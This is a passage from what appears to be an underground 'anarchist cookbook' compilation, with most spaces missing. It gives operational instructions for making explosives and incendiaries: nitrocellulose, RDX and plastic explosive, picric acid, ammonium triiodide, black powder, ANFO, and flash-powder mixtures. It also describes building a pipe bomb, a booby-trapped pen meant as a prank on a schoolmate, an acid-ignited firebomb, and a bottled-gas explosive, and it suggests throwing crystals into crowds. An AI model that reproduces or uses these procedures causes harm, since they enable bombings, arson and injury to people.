purchasetheacids,IbelieveIused3partsH2SO4to1partHNO3.Forcotton,I'd
use cotton wool or cotton cloth. Runaway nitration was commonplace, but it is
usuallynotsodisastrouswithnitrocelluloseasitiswithnitroglycerine.Forsome
reason,Itriedwashingthecottonclothinasolutionoflye,andrinsingitwellin
distilledwater.Ilettheclothdryandthennitratedit.(DidIreadthissomewhere?)
When that product was nitrated, I never got a runaway reaction. BTW, water
quenchedtherunawayreactionofcellulose.Theproductwaswashedthoroughlyand
allowedtodry.Itdissolved(orturnedintomush)inacetone.Itdissolvedinalcohol/
ether.
Warnings:Allusualwarningsregardingstrongacidsapply.H2SO4likestospatter.
Whenitfallsontheskin,itdestroystissueoftenpainfully.Itdissolvesallmannerof
clothing.Nitricalsodestroysskin,turningitbrightyellowintheprocess.Nitricisan
oxidantitcanstartfires.Bothagentswillhappilyblindyouifyougettheminyour
eyes.Otherwarningsalsoapply.Notforthenovice.Nitrocellulosedecomposesvery
slowlyonstorageifitisn'tstabilized.Thedecompositionisautocatalyzingandcan
result in spontaneous explosion if the material is kept confined over time. The
process is much faster if the material is not washed well enough. Nitrocellulose
powderscontainstabilizerssuchasdiphenylamineorethylcentralite.Donotallow
thesetocomeintocontactwithnitricacid!!!Asmallamountofeithersubstance
willcapturethesmallamountsofnitrogenoxidesthatresultfromdecomposition.
Theythereforeinhibittheautocatalysis.NCeventuallywilldecomposeinanycase.
Again,thisisinherentlydangerousandillegalincertainareas.Igotawaywithit.
Youmaykillyourselfandothersifyoutryit.
CommerciallyproducedNitrocelluloseisstabilizedby:
Spinningitinalargecentrifugetoremovetheremainingacid,whichisrecycled;
Immersioninalargequantityoffreshwater;
Boilingitinacidulatedwaterandwashingitthoroughlywithfreshwater.
IftheNCistobeusedassmokelesspowderitisboiledinasodasolution,then
rinsed in fresh water. The purer the acid used (lower water content) the more
completethenitrationwillbeandthemorepowerfulthenitrocelluloseproduced.
Thereareactuallythreeformsofcellulosenitrate,onlyoneofwhichisusefulfor
pyrotechnic purposes. The mononitrate and dinitrate are not explosive and are
producedbyincompletenitration.Ifnitrationisallowedtoproceedtocompletethe
explosivetrinatrateisformed.
(Ill.3.22.2)
CHOHCHONO

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CelluloseCellulosetrinitrate

Ahh,fertheNewCookBook!
FuelOxodizermixtures(AKA:StarterExplosives)
byJollyRoger
Therearenearlyaninfinitenumberoffueloxodizermixturesthatcanbeproduced
byamisguidedindividualinhisownhome.Someareveryeffectiveanddangerous,
whileothersaresaferandlesseffective.Alistofworkingfueloxodizermixtures
willbepresented,buttheexactmeasurementsofeachcompoundaredebatablefor
maximumeffectiveness.Aroughestimatewillbegivenofthepercentagesofeach
fuelandoxodizer:
oxodizer,%byweight|fuel,%byweight|speed#|notes
potassiumchlorate67%sulphur33%5friction/impactsensitive;unstable
potassiumchlorate50%;sugar35%5fairlyslowburning;
charcoal15%unstable
potassiumchlorate50%;sulphur25%8extremelyunstable!
magnesiumoraluminiumdust25%8unstable!
potassiumchlorate67%unstable
magnesiumoraluminiumdust33%unstable
sodiumnitrate65%;magnesiumdust30%?unpredictable
sulphur5%burnrate
potassiumpermanganate60%;glycerine40%4delaybefore
ignitiondepends
Warning:Ignitesspontaneouslywithglycerine!!!

Upongrainsize

potassiumpermanganate67%;sulphur33%5unstable
potassiumpermanganate60%;sulphur20%5unstable
magnesiumoraluminiumdust20%
potassiumpermanganate50%;sugar50%3?
potassiumnitrate75%;charcoal15%7thisis
sulphur10%blackpowder!
potassiumnitrate60%ormagnesium40%powderediron1burnsveryhot
potassiumchlorate75%;phosphorus8usedtomakestrike
sesquisulphide25%anywherematches
ammoniumperchlorate70%;aluminiumdust30%6solidfuelforspaceshuttle
andsmallamountofironoxide
potassium perchlorate 67 %;flash powder(sodium perchlorate)10magnesium or
aluminiumdust33%
potassiumperchlorate;(sodiumperchlorate)60%8
magnesiumoralternatealuminiumdust20%flashpowder
sulphur20%
bariumnitrate30%;aluminiumdust30%9alternate
potassiumperchlorate30%flashpowder
bariumperoxide90%;magnesiumdust5%10alternate
aluminiumdust5%;flashpowder
potassiumperchlorate50%;sulphur25%8slightlyunstable
magnesiumoraluminiumdust25%
potassiumchlorate67%;redphosphorus27%7veryunstableimpact
calciumcarbonate3%;sulphur3%sensitive
potassiumpermanganate50%;powderedsugar25%7unstableignitiesifitgetswet!
aluminiumormagnesiumdust25%
potassiumchlorate75%;charcoaldust15%6unstable
sulphur10%

Note: Mixtures that uses substitutions of sodium perchlorate for potassium

perchloratebecomemoistureabsorbentandlessstable.Thehigherthespeednumber,
thefasterthefueloxodizermixtureburnsafterignition.Also,asarule,thefinerthe
powder,thefastertherateofburning.Asonecaneasilysee,thereisawidevariety
offueloxodizermixturesthatcanbemadeathome.Byalteringtheamountsoffuel
andoxodizer(s),differentburnratescanbeachieved,butthisalsocanchangethe
sensitivityofthemixture.
Flashpowder
bydr.Tiel

Hereareafewbasicprecautionstotakeifyou'recrazyenoughtoproduceyour
own flash powder: Grind the oxidizer (KNO3, KClO3, KMnO4, KclO4 etc. )
separatelyinacleanvessel. Never grindorsiftthemixedcomposition.Mixthe
compositiononalargepapersheet,byrollingthecompositionbackandforth.Donot

storeflashcompositions,especiallyanycontainingMg.Makeverysmallquantities
atfirst,soyoucanappreciatethepowerofsuchmixtures:
KNO350%(byweight)
Mg50%
ItisveryimportanttohavetheKNO3verydry,ifevolutionofammoniaisobserved
thentheKNO3haswaterinit.VerypureanddryKNO3isneeded.KClO3withMg
orAlmetalpowdersworksverywell.Manyhands,facesandliveshavebeenlost
withsuchcompositions.KMnO4withMgorAlisalsoanextremelypowerfulflash
composition.KClO4withAlisgenerallyfoundincommercialfireworks,thisdoes
notmeanthatitissafe,itisalittlesaferthanKClO3above. K2Cr2O7canalsobe
usedasanoxidizerforflashpowder.Thefinertheoxidizerandthefinerthemetal
powder the more powerful the explosive. This of course will also increase the
sensitivityoftheflashpowder.Foraquickflashsmallquantitiescanbeburntinthe
open.Largerquantities(50gormore)ignitedintheopencandetonate,theydonot
needacontainertodoso.
Note:Flashpowderinanycontainerwilldetonate.Balancedequationsofsome
oxidizer/metalreactions.Onlymajorproductsareconsidered.Excessmetalpowders
aregenerallyused.Thisexcessburnswithatmosphericoxygen.
4KNO3+10Mg>2K2O+2N2+10MgO+energy
KClO3+2Al>KCl+Al2O3+energy
3KClO4+8Al>3KCl+4Al2O3+energy
6KMnO4+14Al>3K2O+7Al2O3+6Mn+energy
MakeBlackPowderfirstifyouhaveneverworkedwithpyrotechnicmaterials,then
thinkaboutthisstuff.
dr.VanTielPh.D.Chemistry
Potassiumperchlorateisalotsaferthansodium/potassiumchlorate.
TheFireyExplosivePen
writtenbyBlueMaxofAnarchistRUs
Here'sagreatlittletricktoplayonyourbestfiend(no,that'snotatypo)atschool
ormaybeasapracticaljokeonafriend!
MaterialsNeeded
OneBallPointClickpen;GunPowder;8or10matchheads;1Matchstickanda
sheetofsandpaper(11/2"X2").
Unscrewpenandremoveallpartsbutleavethebuttoninthetop.Stickthematch
stickinthepartofthepenclickerwheretheotherlittlepartsandtheinkfillwas.
Rollsandpaperupandputaroundthematchstickthatisintheclicker.Putthe
remainingMatchHeadsinsidethepen,makesurethattheyareontheinsideonthe
sandpaper.Putasmallpieceofpaperorsomethingintheotherendofthepenwhere
theballpointcomesout.Filltheendwiththepieceofpaperinitwithgunpowder.
Thepaperistokeepthepowderfromspilling.TheFinishedpenshouldlooklike
this:

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Pipebombsfromsoftmetalpipes
byExodus
First,oneflattensoneendofacopperoraluminiumpipecarefully,makingsurenot
totearorripthepiping.Then,theflatendofthepipeshouldbefoldedoveratleast
once,ifthisdoesnotripthepipe.Afuseholeshouldbedrilledinthepipenearthe
nowclosedendandthe fuse shouldbeinserted. Next,thebomb builder would
partiallyfillthecasingwithaloworderexplosiveandpackitwithalargewadof
tissuepaper.Hewouldthenflattenandfoldtheotherendofthepipewithapairof
pliers.Ifhewasnottoodumb,hewoulddothisslowly,sincetheprocessoffolding
andbendingmetalgivesoffheat,whichcouldsetofftheexplosive.Adiagramis
presentedbelow:
(Ill.#1)

fig.1pipewithoneendflattenedandfuseholedrilled(topview)

(Ill.#2)

fig.2pipewithoneendflattenedandfoldedup(topview)

(Ill.#3)
fusehole

fig.3pipewithflattenedandfoldedend(sideview)
(Revisedill.4.14)
Safetytipshownottogetkilled(Waystoavoidscoringan"OwnGoal")
byJollyRoger
An"owngoal"isthedeathofapersononyoursidefromoneofyourowndevices.
Itisobviousthattheseshouldbeavoidedatallcosts.Whilenosafetydeviceis100%
reliable,itisusuallybettertoerronthesideofcaution.
Basicsafetyrules
Don'tsmoke!(don'tlaughanerrantcigarettewipedouttheWeathermen);
Grind all ingredients separately. It's surprising how friction sensitive some
supposedly"safe"explosivesreallyare;
Allowfora20%marginoferrorJustbecausetheaverageburningrateofafuseis
30secs/foot,don'tdependonthe5inchesstickingoutofyourpipebombtotake
exactly2,5minutes;
Overestimatetherangeofyourshrapnel. Thecapfromapipebombcanoften
travelablockormoreathighvelocitiesbeforecomingtorestIfyouhavetostay
nearby,rememberthatifyoucanseeit,itcankillyou;
Whenmixingsensitivecompounds(suchasflashpowder)avoidallsourcesofstatic
electricity.Mixtheingredientsbythemethodbelow.
Howtomixingredients
Thebestwaytomixtwodrychemicalstoformanexplosiveistodoasthesmall
scalefireworksmanufacturer'sdo.
Ingredients
Alargesheetofsmoothpaper(forexampleapagefromanewspaperthatdoesnot
usestaples).Thedrychemicalsneededforthedesiredcompound.Measureoutthe
appropriateamountsofthetwochemicals,andpourthemintwosmallheapsnear
oppositecornersofthesheet.Pickupthesheetbythetwocornersnearthepowders,

allowingthepowderstorolltowardsthemiddleofthesheet.Byraisingonecorner
andthentheother,rollthepowdersbackandforthinthemiddleoftheopensheet,
takingcarenottoletthemixturespillfromeitherofthelooseends.Pourthepowder
offfromthemiddleofthesheet,anduseimmediately.Ifitmustbestoreduseairtight
containers(35mmfilmcanistersworknicely)andstoreawayfrompeople,houses,
andvaluableitems.
Ammoniumtriiodidecrystals
byJollyRoger
Ammonium triiodide crystals are foul smelling purple coloured crystals that
decomposeundertheslightestamountofheat,friction,orshock,iftheyaremade
withthepurestammonia(ammoniumhydroxide)andiodine.Suchcrystalsaresaid
todetonatewhenaflylandsonthem,orwhenanantwalksacrossthem.Household
ammonia,however,hasenoughimpurities,suchassoapsandabrasiveagents,sothat
thecrystalswilldetonatewhenthrown,crushedorheated.Ammonia,whenboughtin
storescomesinavarietyofforms.Thepineandcloudyammoniasshouldnotbe
bought; only the clear ammonia should be used to make ammonium triiodide
crystals.Upondetonation,aloudreportisheardandacloudofpurpleiodinegas
appearsaboutthedetonationsite.Whatevertheunfortunatesurfacethatthecrystal
wasdetonateduponwillusuallyberuined,assomeoftheiodineinthecrystalis
thrownaboutinasolidformandiodineiscorrosive.Itleavesnasty,ugly,permanent
brownishpurplestainsonwhateveritcontacts.Iodinegasisalsobad news,sinceit
candamagelungs,anditsettlestothegroundandstainsthingstherealso.Touching
iodineleavesbrownstainsontheskinthatlastforaboutaweek,unlesstheyare
immediatelyandvigorouslywashedoff.Whilesuchacompoundwouldhavelittle
usetoaseriousterrorist,avandalcouldutilizethemindamagingproperty.Or,a
terroristcouldthrowseveralofthemintoacrowdasadistraction,anactionwhich
wouldpossiblyinjureafewpeople,butfrightenalmostanyone,sinceasmallcrystal
thatmaynotbeseenwhenthrownproducesaratherloudexplosion.Ammonium
triiodidecrystalscouldbeproducedinthefollowingmanner:
MaterialsEquipment
iodinecrystalsfunnelandfilterpaper

clearammoniapapertowels
(ammoniumhydroxide,twothrowawayglassjarsforthesuicidal)
Placeabouttwoteaspoonsofiodineintooneoftheglassjars.Thejarsmustboth
bethrowawaybecausetheywillneverbecleanagain.Addenoughammoniato
completelycovertheiodine.Placethefunnelintotheotherjarandputthefilter
paperinthefunnel.Thetechniqueforputtingfilterpaperinafunnelistaughtin
everybasicchemistrylabclass:foldthecircularpaperinhalf,sothatasemicircle
isformed.Then,folditinhalfagaintoformatrianglewithonecurvedside.Pullone
thickness of paper out toform a coneand place the coneinto thefunnel.After

allowingtheiodinetosoakintheammoniaforawhile,pourthesolutionintothe
paperinthefunnelthroughthefilterpaper.Whilethesolutionisbeingfiltered,put
moreammoniaintothefirstjartowashanyremainingcrystalsintothefunnelas
soonasitdrains.Collectallthepurplishcrystalswithouttouchingthebrownfilter
paperandplacethemonthepapertowelstodryforaboutanhour.Makesurethat
theyarenot tooclosetoanylightsorothersourcesof heat,astheycouldwell
detonate.Whiletheyarestillwet,dividethewetmaterialintoeightpiecesofabout
thesamesize.Aftertheydry,gentlyplacethecrystalsontoaonesquareinchpiece
ofducttape.Coveritwithasimilarpieceandgentlypresstheducttapetogether
aroundthecrystal,makingsurenottopressthecrystalitself.Finally,cutawaymost
oftheexcessducttapewithapairofscissorsandstorethecrystalsinacooldrysafe
place.Theyhaveashelflifeofaboutaweekandtheyshouldbestoredinindividual
containers that can be thrown away, since they have a tendency to slowly
decompose,aprocesswhichgivesoffiodinevapours,whichwillstainwhateverthey
settleon.Onepossiblewaytoincreasetheirshelflifeistostoretheminairtight
containers.Tousethem,simplythrowthemagainstanysurfaceorplacethemwhere
theywillbesteppedonorcrushed.
Sulphuricacid
byExodus
Sulphuricacidisfartoodifficulttomakeoutsideofalaboratoryorindustrialplant.
However,itisreadilyavailableinanunchargedcarbattery.Apersonwishingto
makesulphuricacidwouldsimplyremovethetopofacarbatteryandpourtheacid
intoaglasscontainer.Therewouldprobablybepiecesofleadfromthebatteryinthe
acid which would have to be removed, either by boiling or filtration. The
concentrationofthesulphuricacidcanalsobeincreasedbyboilingit;verypure
sulphuricacidpoursslightlyfasterthancleanmotoroil.
Ammoniumnitrate
Ammoniumnitrateisaverypowerfulbutinsensitivehighorderexplosive.Itcould
bemadeveryeasilybypouringnitricacidintoalargeflaskinanicebath.Then,by
simplypouringhouseholdammoniaintotheflaskandrunningaway,ammonium
nitratewouldbeformed.Afterthematerialshavestoppedreacting,onewouldsimply
havetoleavethesolutioninawarmplaceuntilallofthewaterandanyunneutralized
ammoniaoracidhaveevaporated.Therewouldbeafinepowderformed,which
wouldbeammoniumnitrate.Itmustbekeptinanairtightcontainer,becauseofits
tendencytopickupwaterfromtheair.Thecrystalsformedintheaboveprocess
wouldhavetobeheatedverygentlytodriveofftheremainingwater.

Blackpowder3

byJollyRoger
FirstmadebytheChineseforuseinfireworks,blackpowderwasfirstusedin
weaponsandexplosivesinthe12thcentury.Itisverysimpletomake,butitisnot
verypowerfulorsafe.Onlyabout50%ofblackpowderisconvertedtohotgasses
whenitisburned;theotherhalfismostlyveryfineburnedparticles.Blackpowder
hasonemajorproblem:itcanbeignitedbystaticelectricity.Thisisverybadandit
means that the material must be made with wooden or clay tools. Anyway, a
misguidedindividualcouldmanufactureblackpowderathomewiththefollowing
procedure:
MaterialsEquipment
potassiumclaygrindingbowl

nitrate(75g)andclaygrinder
or
sodiumwoodensaladbowl
nitrate(75g)andwoodenspoon
sulfur(10g)plasticbags(3)
charcoal(15g)300500mlbeaker(1)
distilledwatercoffeepotorheatsource
Placeasmallamountofthepotassiumorsodiumnitrateinthegrindingbowland
grindittoaveryfinepowder.Dothistoallofthepotassiumorsodiumnitrate,and
storethegroundpowderinoneoftheplasticbags.Dothesamethingtothesulfur
andcharcoal,storingeachchemicalinaseparateplasticbag.Placeallofthefinely
groundpotassiumorsodiumnitrateinthebeakerandaddjustenoughboilingwater
tothechemicaltogetitallwet.Addthecontentsoftheotherplasticbagstothewet
potassiumorsodiumnitrateandmixthemwellforseveralminutes.Dothisuntil
thereisnomorevisiblesulfurorcharcoaloruntilthemixtureisuniversallyblack.
Onawarmsunnyday,putthebeakeroutsideinthedirectsunlight.Sunlightisreally
thebestwaytodryblackpowder,sinceitisnevertoohot,butitishotenoughto
evaporatethewater.Scrapetheblackpowderoutofthebeakerandstoreitinasafe
container.Plasticisreallythesafestcontainer,followedbypaper.Neverstoreblack
powderinaplasticbag,sinceplasticbagsarepronetogeneratestaticelectricity.
Nitrocellulose
byExodus
Nitrocelluloseisusuallycalled"gunpowder"or"guncotton".Itismorestablethan
blackpowderanditproducesamuchgreatervolumeofhotgas.Italsoburnsmuch
fasterthanblackpowderwhenitisinaconfinedspace.Finally,nitrocelluloseis
fairlyeasytomake,asoutlinedbythefollowingprocedure:
MaterialsEquipment

cotton(cellulose)two(2)200300mlbeakers

concentratednitricacidfunnelandfilterpaper
concentratedsulfuricacidbluelitmuspaper
distilledwater
Pour10ccofconcentratedsulfuricacidintothebeaker.Addtothis10ccof
concentratednitricacid.Immediatelyadd0,5gmofcottonandallowittosoakfor
exactly3minutes.Removethenitrocottonandtransferittoabeakerofdistilled
watertowashitin.Allowthematerialtodryandthenrewashit.Afterthecottonis
neutralwhentestedwithlitmuspaper,itisreadytobedriedandstored.
R.D.X.2
byJollyRoger
R.D.X.,alsocalledcycloniteorcompositionC1(whenmixedwithplasticisers)
isoneofthemostvaluableofallmilitaryexplosives.Thisisbecauseithasmorethan
150%ofthepowerofT.N.T.andismucheasiertodetonate.Itshouldnotbeused
alone,sinceit canbeset off byanottoosevereshock.Itislesssensitivethan
mercuryfulminate,ornitroglycerine,butitisstilltoosensitivetobeusedalone.

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R.D.X.canbemadebythesurprisinglysimplemethodoutlinedhereafter.Itis
mucheasiertomakeinthehomethanallotherhighexplosiveswiththepossible
exceptionofammoniumnitrate.
MaterialsEquipment
hexamineormethenamine500mlbeaker
glassstirringrod

fueltablets(50g)funnelandfilterpaper
concentratednitricacid(550ml)icebathcontainer(plasticbucket)
distilledwatercentigradethermometer
tablesaltbluelitmuspaper
iceammoniumnitrate
Placethebeakerintheicebath,(seesection3,13,steps34)andcarefullypour
550mlofconcentratednitricacidintothebeaker.Whentheacidhascooledtobelow
20degreescentigrade,addsmallamountsofthecrushedfueltabletstothebeaker.
Thetemperaturewillrise,anditmustbekeptbelow30degreescentigrade,ordire
consequencescouldresult.Stirthemixture.Dropthetemperaturebelowzerodegrees
centigrade,eitherbyaddingmoreiceandsalttotheoldicebathorbycreatinganew
icebath.Orammoniumnitratecouldbeaddedtotheoldicebath,sinceitbecomes
coldwhenitisputinwater.Continuestirringthemixture,keepingthetemperature
belowzerodegreescentigradeforatleasttwentyminutes.Pourthemixtureintoa
litreofcrushedice.Shakeandstirthemixtureandallowittomelt.Onceithas
melted,filteroutthecrystalsanddisposeofthecorrosiveliquid.Placethecrystals
intoonehalfalitreofboilingdistilledwater.Filterthecrystalsandtestthemwiththe
bluelitmuspaper.Repeatsteps4and5untilthelitmuspaperremainsblue.Thiswill
makethecrystalsmorestableandsafe.Storethecrystalswetuntilreadyforuse.
Allowthemtodrycompletelyusingthem.R.D.X.isnotstableenoughtousealone
asanexplosive.CompositionC1canbemadebymixing88,3%R.D.X.(by
weight)with11,1%mineraloiland0,6%lecithin.Kneedthesematerialtogether
inaplasticbag.Thisisonewaytodesensitizetheexplosive.H.M.X.isamixtureof
T.N.T.andR.D.X.;theratiois50/50,byweight.Itisnotassensitiveandis
almostaspowerfulasstraightR.D.X.Byaddingammoniumnitratetothecrystals
ofR.D.X.afterstep5,itshouldbepossibletodesensitizetheR.D.X.andincrease
its power, since ammonium nitrate is very insensitive and powerful. Sodium or
potassiumnitratecouldalsobeadded;asmallquantityissufficienttostabilizethe
R.D.X.R.D.X.detonatesatarateof8550meters/secondwhenitiscompressedto
adensityof1,55g/cubiccm.
ANFOS
byJollyRoger
AnfoisanacronymforAmmoniumNitrateFuelOilSolution.Itsolvestheonly
othermajorproblemwithammoniumnitrate:itstendencytopickupwatervapour
fromtheair.Thisresultsintheexplosivefailingtodetonatewhensuchanattemptis
made.Thisisrectifiedbymixing94%(byweight)ammoniumnitratewith6%fuel
oilorkerosene.Thekerosenekeepstheammoniumnitratefromabsorbingmoisture
fromtheair.AnAnfoalsorequiresalargeshockwavetosetitoff.
AboutANFO
fromDeanS.

LatelytherewasbeenalotsaidaboutvariousAnfomixtures.Thesearemixturesof
AmmoniumNitratewithFuelOil.Thisformsareasonablypowerfulcommercial
explosive,withitsprimarybenefitbeingthefactthatitischeap.BulkAnfoshould
runsomewherearound912centsthepound.Thisisdirtcheapcomparedto40%
nitro gel dynamites at 1 to 2 dollars the pound. To keep the cost down, it is
frequentlymixedattheboreholebyabulktruck,whichhasapneumaticdelivery
hopperofANprills(that'spelletstomostoftheworld)andatankoffueloil.Itis
stronglyrecommendedthatadyeofsomesort,preferablyredbeaddedtothefueloil
tomakeiteasiertodistinguishtreatedANexplosivefromuntreatedoxidizer.Anfois
notwithoutitsproblems.Tobeginwith,itisnotthatsensitivetodetonation.Number
eightcapsarenotreliablewhenusedwithAnfo.Boosterchargesmustbeusedto
avoiddudblastholes.Commonboostersincludesticksofvariousdynamites,small
poursofwatergelexplosives,Dupont'sdetaprimecastboostersandAtlas'spower
primercastexplosive.Theneedtouseboostersraisesthecost.Secondly,Anfois
verywater susceptible.It dissolvesinitor absorbesitfromtheatmosphereand
becomesquiteworthlessrealquick.Itmustbeprotectedfromwaterwithborehole
linersandstillmustbeshotrealquick.Third,Anfohasalowdensity,somewhere
around.85.ThismeansAnfosacksfloat,whichisnogoodandadditionally,thelow
densitymeansthepowerissomewhatlow.Generally,themoreweightofexplosive
one can place in a hole, the more effective. Anfo blown into the hole with a
pneumaticsystemfracturesasitisplaces,raisingthedensitytoabout.9or.92.The
deliverysystemaddstothecostandmustbeantistaticinnature.Aluminiumis
addedtosomecommercial,cartridgepackagedAnfostoraisethedensitythisalso
raisespowerconsiderableandafewofthesemixturesarereliablycapsensitive.Now
than,forformulations.Anearlierarticlementioned2,5kilosofammoniumnitrate
andIbelieve5to6lofdiesel.This mixtureisextremelyoverfuelledandI'dbe
surprisedifitworked.DupontrecommendsaANtoFOratioof93%ANto7%FO
by weight. Hardly any oil at all. More oil makes the mixture less explosive by
absorbingdetonationenergyandexcessfuelmakesdetonationbyproductshealth
hazardsasthemixtureisoxygenpoor.Notethatcommercialfertilizerproductsdo
notworkaswellastheporousANprillsDupontsells,becausefertilizersarecoated
withvariousmaterialsmeanttosealthemfrommoisture,whichkeeptheoilfrom
being absorbed. Another problem with Anfo: for reliable detonation, it needs
confinement,eitherfromacasing,boreholeetc.orfromthemassofthecharge.
Thus,apileofthestuffwithaboosterinitislikelytoscatterandburnratherthan
explode when the booster is shot. In boreholes or reasonable strong casings
(cardboardorheavyplasticfilmsacks)thestuffdetonatedquitewell.Sowillbig
piles. That' s how the explosive potential was discovered: a small oil freighter
rammedabulkchemicalship.Overseveralhoursthecargoesintermixedtosome
degree, and reached critical mass. Real big bang. A useful way to obtain the
containmentneededistoreplacethefueloilwithawaxfuel.MixtheANwithjust
enoughmeltedwaxtoformacohesivemixture,mouldintoshape.Thewaxfuels,
andretainsthemixture.ThisiswhattheU.S.militaryusesasamanplacedcratering
charge.Themilitaryliteraturestatesthiscanbesetoffbyablastingcap,butitis

importanttorememberthemilitaryblastingcapsareconsiderablemorepowerful
thancommercialones.Themilitaryrightlyinsistsonreliabilityandthusastrongcap
(maybe7080percentstrongerthancommercial).Theyalsotendtogooverboard
whencalculatingdemolitioncharges,butthenhey,whodoesn't.Twomanualsof
interest:Duponts"Blaster'sHandbook",a$20manualmainlyusefulforrockand
seismographicoperations.Atlas's"PowderManual"or"ManualofRockBlasting"(I
forgetthetitle,itsintheoffice).Thisisa$60book,wellworththecash,dealing
withtheabovetwotopics,plusdemolitionsandnonquarryblasting.Incidentally,
combining fuel oil and ammonium nitrate constitutes the manufacture of a high
explosiveandrequiresafederalpermittomanufactureandstore.Eventheminesthat
mixitonsiterequirethepermittomanufacture.Thosewhodon'tmanufactureonly
needpermitstostore.Thosewhodon'tstoreneednopermits,whichincludesmostof
us:anyone,atleastintheU.S.maypurchaseexplosives,providedtheyare21or
olderandhavenocriminalrecord.Notetheyoughttobeusedimmediately,because
you do need a licence to store. Note also that commercial explosives contain
quantitiesoftracingagents,whichmakeitrealeasyfortheFBItotracetheexplosion
tothepurchaser,soplease,nobodyblowupanybanks,orphanagesor oldfolks
homes,O.K.
D.S.CivilEngineeratlarge.
Picricacid
broughttoyoubyExodus
Picricacid,alsoknownasTriNitroPhenolorT.N.P.,isamilitaryexplosive
thatismostoftenusedasaboosterchargetosetoffanotherlesssensitiveexplosive,
suchasT.N.T.Itisanotherexplosivethatisfairlysimpletomake,assumingthat
one can acquire the concentrated sulfuric and nitric acids. Its procedure for
manufactureisgiveninmanycollegechemistrylabmanuals,andiseasytofollow.
Themainproblemwithpicricacidisitstendencytoformdangerouslysensitiveand
unstablepicratesalts,suchaspotassiumpicrate.Forthisreason,itisusuallymade
into a safer form, such as ammonium picrate, also called explosive D. A social
deviantwouldprobablyuseaformulasimilartotheonepresentedheretomake
picricacid.
MaterialsEquipment
phenol(9,5g)500mlflask

concentratedsulphuricacid(12,5ml)adjustableheatsource
1000mlbeakerorother
concentratednitricacid(38ml)containersuitablefor
distilledwaterboilingin
filterpaperandfunnel
glassstirringrod
Place9,5gramsofphenolintothe500mlflaskandcarefullyadd12,5mlof

concentratedsulphuricacidandstirthemixture.Put400mloftapwaterintothe1
000 ml beaker or boiling container and bring the water to a gentle boil. After
warmingthe500mlflaskunderhottapwater,placeitintheboilingwaterand
continuetostirthemixtureofphenolandacidforaboutthirtyminutes.Afterthirty
minutes,taketheflaskoutandallowittocoolforaboutfiveminutes.Pouroutthe
boilingwaterusedaboveandafterallowingthecontainertocool,useittocreatean
icebath,similartotheoneusedinsection3,13,steps34.Placethe500mlflask
withthemixedacidanphenolintheicebath.Add38mlofconcentratednitricacid
insmallamounts,stirringthemixtureconstantly.Avigorousbut"harmless"reaction
shouldoccur.Whenthemixturestopsreactingvigorously,taketheflaskoutofthe
icebath.Warmtheicebathcontainer,ifitisglassandthenbeginboilingmoretap
water.Placetheflaskcontainingthemixtureintheboilingwaterandheatitinthe
boilingwaterfor1,5to2hours.Add100mlofcolddistilledwatertothesolution
andchillitinanicebathuntilitiscold.Filterouttheyellowishwhitepicricacid
crystalsbypouringthesolutionthroughthefilterpaperinthefunnel.Collectthe
liquidanddisposeofitinasafeplace,sinceitiscorrosive.Washoutthe500ml
flaskwithdistilledwaterandputthecontentsofthefilterpaperintheflask.Add300
mlofwaterandshakevigorously.Refilterthecrystalsandallowthemtodry.Store
thecrystalsinasafeplaceinaglasscontainer,sincetheywillreactwithmetal
containerstoproducepicratesthatcouldexplodespontaneously.
Chemicalfirebottle
byJollyRoger
ThechemicalfirebottleisreallyanadvancedMolotovcocktail.Ratherthanusing
theburningclothtoignitetheflammableliquid,whichhasatbestafairchanceof
ignitingtheliquid,thechemicalfirebottleutilizestheveryhotandviolentreaction
between sulphuric acid and potassium chlorate. When the container breaks, the
sulphuricacidinthemixtureofgasolinespraysontothepapersoakedinpotassium
chlorateandsugar.Thepaper,whenstruckbytheacid,instantlyburstsintoawhite
flame,ignitingthegasoline.Thechanceoffailuretoignitethegasolineislessthan2
%andcanbereducedto0%,ifthereisenoughpotassiumchlorateandsugarto
spare.
MaterialsEquipment
potassiumchlorate(twoteaspoons)12oz.glassbottle

sugar(twoteaspoons)capforbottle,w/plasticinside
conc.sulfuricacid(4oz.)cookingpanwithraisededges
gasoline(8oz.)papertowels
glassorplasticcupandspoon
Testthecapofthebottlewithafewdropsofsulfuricacidtomakesurethattheacid
willnoteatawaythebottlecapduringstorage.Iftheacideatsthroughitin24hours,
anewtopmustbefoundandtested,untilacapthattheaciddoesnoteatthroughis
found.Aglasstopisexcellent.Carefullypour8oz.ofgasolineintotheglassbottle.
Carefullypour4oz.ofconcentratedsulfuricacidintotheglassbottle.Wipeupany

spillsofacidonthesidesofthebottleandscrewthecaponthebottle.Washthe
bottle'soutsidewithplentyofwater.Setitasidetodry.Putabouttwoteaspoonsof
potassiumchlorateandabouttwoteaspoonsofsugarintotheglassorplasticcup.
Addabout 1/ 2cup of boilingwater or enough todissolveallof thepotassium
chlorateandsugar.Placeasheetofpapertowelinthecookingpanwithraisededges.
Foldthepapertowelinhalfandpourthesolutionofdissolvedpotassiumchlorate
andsugaronituntilitisthoroughlywet.Allowthetoweltodry.Whenitisdry,put
someglueontheoutsideoftheglassbottlecontainingthegasolineandsulfuricacid
mixture.Wrapthepapertowelaroundthebottle,makingsurethatitstickstoitinall
places.Storethebottleinaplacewhereitwillnotbebrokenortippedover.When
finished, the solution in the bottle should appear as two distinct liquids, a dark
brownishredsolutiononthebottomandaclearsolutionontop.Thetwosolutions
willnotmix.Tousethechemicalfirebottle,simplythrowitatanyhardsurface.
Never openthebottle,sincesomesulfuricacidmightbeonthecap,whichcould
trickledownthesideofthebottleandignitethepotassiumchlorate,causingafire
and/orexplosion!!!Totestthedevicetearasmallpieceofthepapertoweloffthe
bottleandputafewdropsofsulfuricacidonit.Thepapertowelshouldimmediately
burstintoawhiteflame.
Bottledgasexplosives
Bottledgas,suchasbutaneforrefillinglighters,propaneforpropanestovesorfor
bunsen burners, can be used to produce a powerful explosion. To make such a
device,allthatasimplemindedanarchistwouldhavetodowouldbetotakehis
containerofbottledgasandplaceitaboveacanofSternoorothergelatinizedfuel,
lightthefuelandrun.Dependingonthefuelused,andonthethicknessofthefuel
container,theliquidgaswillboilandexpandtothepointofburstingthecontainerin
aboutfiveminutes.Intheory,thegaswouldimmediatelybeignitedbytheburning
gelatinizedfuel,producingalargefireballandexplosion.Unfortunately,thebursting
ofthebottledgascontaineroftenputsoutthefuel,thuspreventingtheexpandinggas
from igniting. By using a metal bucket half filled with gasoline, however, the
chancesofignitionarebetter,sincethegasolineislesslikelytobeextinguished.
Placingthecanisterofbottledgasonabedofburningcharcoalsoakedingasoline
wouldprobablybethemosteffectivewayofsecuringignitionoftheexpandinggas,
since although the bursting of the gas container may blow out the flame of the
